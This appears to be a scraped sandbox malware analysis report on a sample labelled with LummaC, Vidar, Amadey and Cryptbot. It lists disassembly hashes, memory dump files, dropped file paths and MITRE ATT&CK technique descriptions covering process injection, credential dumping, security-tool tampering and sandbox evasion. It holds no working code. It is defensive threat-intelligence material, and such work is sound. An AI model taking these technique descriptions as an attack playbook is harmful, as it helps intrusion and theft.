Instruction ID: f02c5a1983b5a6d7a43def8f92ee61f568b6dcfe2d58dc6b46530fd28a5ab9f0
Opcode Fuzzy Hash: 1fe9adadf5b7514de9e8ed72ceb87f789f19249ec8ab77bd072e44730eb5f78e
Instruction Fuzzy Hash: 2FE09239B402146BCF04B764E849C9DFB799E94765B044116EE11A3391EF70AA49CAF0

Function 00D234CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D234FC

Strings

version, xrefs: 00D234E1
pScheduler, xrefs: 00D234F4

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: f836ab02bd8ff3dab833e36dfc86b5df3648b454fea36571b516c80e2f899b7a
Instruction ID: bd3434c7f11a73890548a059e62e8a150d7b32f915e463b273e9ec74f1431b82
Opcode Fuzzy Hash: f836ab02bd8ff3dab833e36dfc86b5df3648b454fea36571b516c80e2f899b7a
Instruction Fuzzy Hash: D6E04F24980218BACF26BA54E847AC87B64DB2474EF04C151BC10110919BB8978DDAB1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\79HDJ5FK6F37\00ZUAAA1V

C:\ProgramData\79HDJ5FK6F37\1DBSJM

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre